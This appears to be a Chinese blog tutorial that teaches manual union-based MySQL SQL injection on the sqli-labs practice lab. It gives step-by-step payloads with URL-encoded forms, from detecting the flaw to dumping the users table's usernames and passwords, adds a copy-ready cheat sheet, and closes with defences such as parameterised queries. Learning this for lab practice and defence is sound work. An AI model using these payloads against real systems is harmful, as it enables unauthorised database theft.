2.MySQL 手工注入:从原理到 sqli-labs 实战

一、先搞懂:什么是 MySQL 手工注入?(大白话版)

你可以把 MySQL 手工注入理解成:手动给数据库 "开后门",一步步骗数据库把敏感数据吐出来 。正常情况下,Web 应用会把用户输入(比如 URL 里的id=1)拼接到 SQL 语句里,发给数据库查数据。如果后端没做任何过滤,我们就可以手动在输入里加恶意 SQL 语句,一步步:

  1. 确认有没有漏洞(能不能注入)
  2. 搞清楚数据库的表结构(有多少列、有什么表、有什么字段)
  3. 把目标表(比如存账号密码的users表)里的所有数据全拖出来

手工注入是 SQL 注入的基础,也是渗透测试的核心技能,所有自动化工具(比如 SQLMap)的原理都是基于手工注入的流程,所以必须吃透!


二、手工注入标准 5 步流程:大白话 + 专业操作 + 注入语句

步骤 1:判断是否存在注入点(最基础的第一步)

🗣️ 大白话解释

我们要先确认:这个输入点(比如 URL 的id参数)能不能被我们控制,能不能让数据库执行我们加的 SQL 语句。核心逻辑:构造「真条件」和「假条件」,看页面返回结果会不会变

  • 真条件:and 1=1(永远成立,数据库会正常返回数据)
  • 假条件:and 1=2(永远不成立,数据库不会返回数据)如果页面结果随条件变化,说明存在注入;如果页面没变化,说明后端做了过滤,没有注入点。另外一个简单方法:随便输入一个非法内容(比如把id=1改成id=da),如果页面报 MySQL 错误,说明存在注入(因为我们的输入被拼到 SQL 里执行了);如果页面正常显示,说明没有注入。
✅ 专业操作 & 注入语句

以 sqli-labs Less-2 为例,URL 格式:http://localhost/sqli-labs/Less-2/index.php?id=xxx

  1. 正常访问( baseline )id=1,页面正常返回用户Dumb的信息
  2. 真条件测试id=1 and 1=1(URL 编码后:id=1%20and%201=1),页面和正常访问一致,说明条件生效
  3. 假条件测试id=1 and 1=2(URL 编码后:id=1%20and%201=2),页面无数据返回,说明条件生效
  4. 非法输入测试id=da,页面报 MySQL 语法错误,确认存在注入点
💡 关键说明
  • %20是 URL 编码里的空格 ,因为 URL 里不能直接打空格,所以所有注入语句里的空格都要用%20代替(也可以用+代替)
  • 数字型注入不需要闭合单引号,字符型需要先闭合单引号,核心判断方法:加单引号看会不会报错

步骤 2:猜解表的列数(order by 排序法)

🗣️ 大白话解释

接下来我们要用union联合查询来 "加塞" 查询数据,但union有个硬性要求:前后两个查询的字段数量必须完全一致 。所以我们必须先搞清楚:当前查询的表有多少列?用order by排序法:order by 数字n代表「按第 n 列排序」,如果 n 超过了表的总列数,MySQL 会直接报错;如果 n≤总列数,页面正常执行。我们从 1 开始试,直到报错,就能知道表有多少列。

✅ 专业操作 & 注入语句

还是以 Less-2 为例:

  1. id=1 order by 1id=1%20order%20by%201):页面正常,说明第 1 列存在
  2. id=1 order by 2id=1%20order%20by%202):页面正常,说明第 2 列存在
  3. id=1 order by 3id=1%20order%20by%203):页面正常,说明第 3 列存在
  4. id=1 order by 4id=1%20order%20by%204):页面报错Unknown column '4' in 'order clause',说明表只有3 列 (图中写的「字段 4 个」是其他靶场的情况,核心方法通用)
💡 关键说明
  • 这一步是后续union查询的基础,必须准确,否则union会直接报错
  • 数字从 1 递增,直到页面报错,报错的数字 - 1 就是表的总列数

步骤 3:判断回显位(union 联合查询)

🗣️ 大白话解释

我们用union把我们的恶意查询拼到原查询后面,但页面只会显示部分数据,所以我们要先搞清楚:页面会显示哪几列的数据?(也就是回显位) 我们用union select 1,2,3(数字的个数等于总列数),把 1、2、3 当成占位符,看哪个数字会显示在页面上,显示的位置就是我们后续可以用来显示敏感数据的回显位。同时我们用id=-1,让原查询查不到任何数据,这样页面就只会显示union后面的查询结果,方便我们看回显位。

✅ 专业操作 & 注入语句

Less-2 总列数是 3,所以构造语句:id=-1 union select 1,2,3(URL 编码:id=-1%20union%20select%201,2,3)页面返回:

复制代码
Your Login name:2
Your Password:3

说明:

  • 第 2 列是回显位(对应username字段的位置)
  • 第 3 列是回显位(对应password字段的位置)
  • 第 1 列没有回显,不用管
💡 关键说明
  • id=-1的作用:让原查询SELECT * FROM users WHERE id=-1查不到数据,这样页面只会显示union后面的结果,不会被原数据干扰
  • 回显位的数量和位置由页面决定,有的页面只显示 1 个回显位,有的显示多个,核心是找到能显示数据的位置

步骤 4:信息收集(查数据库版本、库名)

🗣️ 大白话解释

现在我们有了回显位,就可以开始收集数据库的核心信息了:

  • 数据库版本:确认是不是 MySQL 5.0 以上(5.0 以上才有information_schema系统库,才能脱库)
  • 当前数据库名:知道我们要攻击的业务库叫什么名字
✅ 专业操作 & 注入语句

用 MySQL 内置函数:

  • version():查询数据库版本

  • database():查询当前数据库名构造语句(对应回显位 2 和 3):id=-1 union select 1,version(),database()(URL 编码:id=-1%20union%20select%201,version(),database())页面返回:

    Your Login name:5.7.26
    Your Password:security

说明:

  • 数据库版本:5.7.26(高版本,支持information_schema
  • 当前数据库名:security(我们的目标业务库)
💡 关键说明
  • MySQL 5.0 以下没有information_schema,无法用这种方法脱库,只能暴力猜表名
  • information_schema是 MySQL 的系统库,相当于数据库的「总目录」,存了所有库、表、字段的信息,是注入的核心神器

步骤 5:脱库全流程(查表名→查字段→取敏感数据)

这是注入的最终目标:把目标库的所有敏感数据(比如账号密码)全拖出来,分 3 小步,完全对应你提供的注入语句:

子步骤 1:查询当前库的所有表名
🗣️ 大白话解释

我们要知道security库里有哪些表,核心目标是users表(存账号密码),用information_schema.tables系统表,它存了所有数据库的所有表名。用group_concat()函数把多个表名拼接成一个字符串,一次性显示在回显位上,不用一个个查。

✅ 专业操作 & 注入语句

核心语句:

复制代码
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

URL 编码后:id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()页面返回:Your Login name:emails,referers,uagents,users说明security库有 4 张表,核心目标是users表。

💡 关键说明
  • table_schema=database():限定只查当前数据库的表,不用手动写库名,更通用
  • group_concat():把多行结果拼接成一行,解决页面只能显示一行数据的问题
  • 也可以手动写库名:where table_schema='security',注意单引号,URL 编码要转义

子步骤 2:查询users表的所有字段名
🗣️ 大白话解释

知道了表名,我们要知道users表里有哪些字段(比如usernamepassword),用information_schema.columns系统表,它存了所有表的所有字段名。这里可以用16 进制绕过单引号 :把users转成 16 进制0x7573657273,避免单引号被过滤,更隐蔽,完全对应你提供的写法。

✅ 专业操作 & 注入语句

核心语句(两种写法):

  1. 直接写表名(带单引号):

    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

  2. 16 进制绕过单引号(推荐,防过滤):

    union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

URL 编码后(以 16 进制为例):id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273页面返回:Your Login name:id,username,password说明users表有 3 个字段:idusernamepassword,就是我们要的账号密码字段。

💡 关键说明
  • 16 进制转换:users的 ASCII 码转 16 进制就是0x7573657273,可以用在线工具转换,注入时直接用,不用单引号,避免被 WAF 拦截
  • group_concat()同样用来拼接所有字段名,一次性显示

子步骤 3:获取users表的所有账号密码(最终脱库)
🗣️ 大白话解释

现在我们知道了表名、字段名,直接查询usernamepassword字段,把所有用户的账号密码全拖出来!用0x3a(冒号的 16 进制)来分隔账号和密码,让结果更易读,用group_concat()把所有数据拼接成一行,完全对应你提供的写法。

✅ 专业操作 & 注入语句

核心语句:

复制代码
union select 1,2,(select group_concat(username,0x3a,password) from users)

URL 编码后:id=-1%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)页面返回:Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo成功脱库!拿到了users表中所有用户的账号密码,注入完成!

💡 关键说明
  • 0x3a是冒号:的 16 进制,用来分隔usernamepassword,让结果更清晰,也可以用0x2c(逗号)
  • 子查询(select ... from users):把查询结果作为一个值,放到回显位 3,完美适配页面的显示逻辑
  • 如果页面只能显示有限长度,可以用limit分批查询,比如limit 0,1limit 1,1,一个个拿数据

三、MySQL 手工注入核心语句速查表(直接复制用)

把所有核心语句整理成表,方便实操的时候直接复制,不用再翻:

步骤 核心 SQL 语句 作用 URL 编码示例(Less-2)
1. 判断注入点 id=1 and 1=1 / id=1 and 1=2 构造真假条件,判断是否存在注入 id=1%20and%201=1
2. 猜列数 id=1 order by n 按第 n 列排序,猜表的总列数 id=1%20order%20by%203
3. 找回显位 id=-1 union select 1,2,3 用占位符找页面的回显位 id=-1%20union%20select%201,2,3
4. 查版本 / 库名 id=-1 union select 1,version(),database() 获取数据库版本、当前库名 id=-1%20union%20select%201,version(),database()
5. 查表名 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() 查询当前库的所有表名 id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
5. 查字段名 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 查询 users 表的所有字段名 id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273
5. 脱库取数 union select 1,2,(select group_concat(username,0x3a,password)from users) 获取 users 表的所有账号密码 id=-1%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)

四、原理深度复盘 + 防御方案

1. 注入原理深度总结

SQL 注入的本质只有一句话:Web 应用未对用户输入做严格过滤 / 校验,直接将用户输入拼接到 SQL 语句中,导致攻击者可以控制 SQL 语句的逻辑,执行非授权操作

  • 数字型注入:SQL 语句中id=$id无单引号,直接拼接,无需闭合
  • 字符型注入:SQL 语句中id='$id'有单引号,需要先闭合单引号('),再注入
  • 核心依赖:information_schema系统库(MySQL 5.0+),让我们可以枚举所有库、表、字段,实现脱库

2. 企业级防御方案(面试 / 笔试必背)

  1. 参数化查询(预编译 SQL) :最根本的防御方式,用 PDO/MySQLi 预处理语句,把 SQL 语句和参数分离,从根源上避免 SQL 拼接,杜绝注入。示例(PHP PDO):

    复制代码
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
    $stmt->execute([$id]); // 参数自动转义,无注入风险
  2. 严格输入过滤 :对用户输入做严格校验,只允许合法字符(比如数字型参数只允许 0-9),过滤特殊字符('"unionselect等)

  3. 最小权限原则 :Web 应用连接数据库的账号,只给必要的权限(比如只给SELECT权限),绝对不给 root / 管理员权限,即使被注入也无法造成严重危害

  4. 隐藏错误信息:不要将 MySQL 详细报错返回给前端,避免攻击者通过报错获取表结构、注入点信息

  5. 部署 WAF:用 Web 应用防火墙(比如阿里云 WAF、开源 WAF)拦截恶意 SQL 请求,过滤注入特征

  6. 定期代码审计:对 Web 应用的代码进行审计,挖掘潜在的 SQL 注入漏洞,从源头修复


五、学习复盘

这次手工注入的全流程实操,让我彻底吃透了 SQL 注入的底层逻辑:

  • 手工注入的核心是流程化操作:每一步都有明确的目的,从判断注入→猜列数→找回显→信息收集→脱库,环环相扣,缺一不可
  • information_schema是注入的「地图」,没有它就无法枚举数据库结构,也就无法脱库
  • 所有自动化注入工具(比如 SQLMap)的原理,都是基于这套手工注入的流程,吃透手工注入,才能真正理解工具的原理,遇到绕过 WAF 等复杂场景才能手动解决
  • 防御的核心是参数化查询,其他过滤、WAF 都是辅助,只有从代码层面杜绝 SQL 拼接,才能真正防住注入

这篇博客把手工注入的每一步都讲透了,新手可以跟着 sqli-labs 靶场一步步实操,老手可以用来复盘原理,希望能帮到大家!

相关推荐
菩提小狗2 小时前
每日安全情报报告 · 2026-04-07
网络安全·漏洞·cve·安全情报·每日安全
Xudde.2 小时前
班级作业笔记报告0x10
笔记·学习·安全·web安全·php
m0_738120722 小时前
渗透基础知识ctfshow——Web应用安全与防护(第一章)
服务器·前端·javascript·安全·web安全·网络安全
聚铭网络3 小时前
聚铭网络荣获《一种安全事件误报的研判方法及系统》发明专利
网络安全
hwscom4 小时前
Chamilo存在命令注入漏洞(CNVD-2026-14971、CVE-2025-50196)
web安全·chamilo
CDN3604 小时前
游戏盾与支付 / 广告 SDK 冲突:依赖顺序与隔离方案(踩坑实录)
运维·游戏·网络安全
赵侃侃爱分享5 小时前
AI怎么定义网络安全
人工智能·安全·web安全
vortex55 小时前
从应用层到内核层:SOCKS 代理与 TUN 模式全解析
网络·网络安全·渗透测试
hzxpaipai6 小时前
2026 杭州外贸网站制作公司哪家好?派迪科技确实有点技术
前端·科技·网络协议·网络安全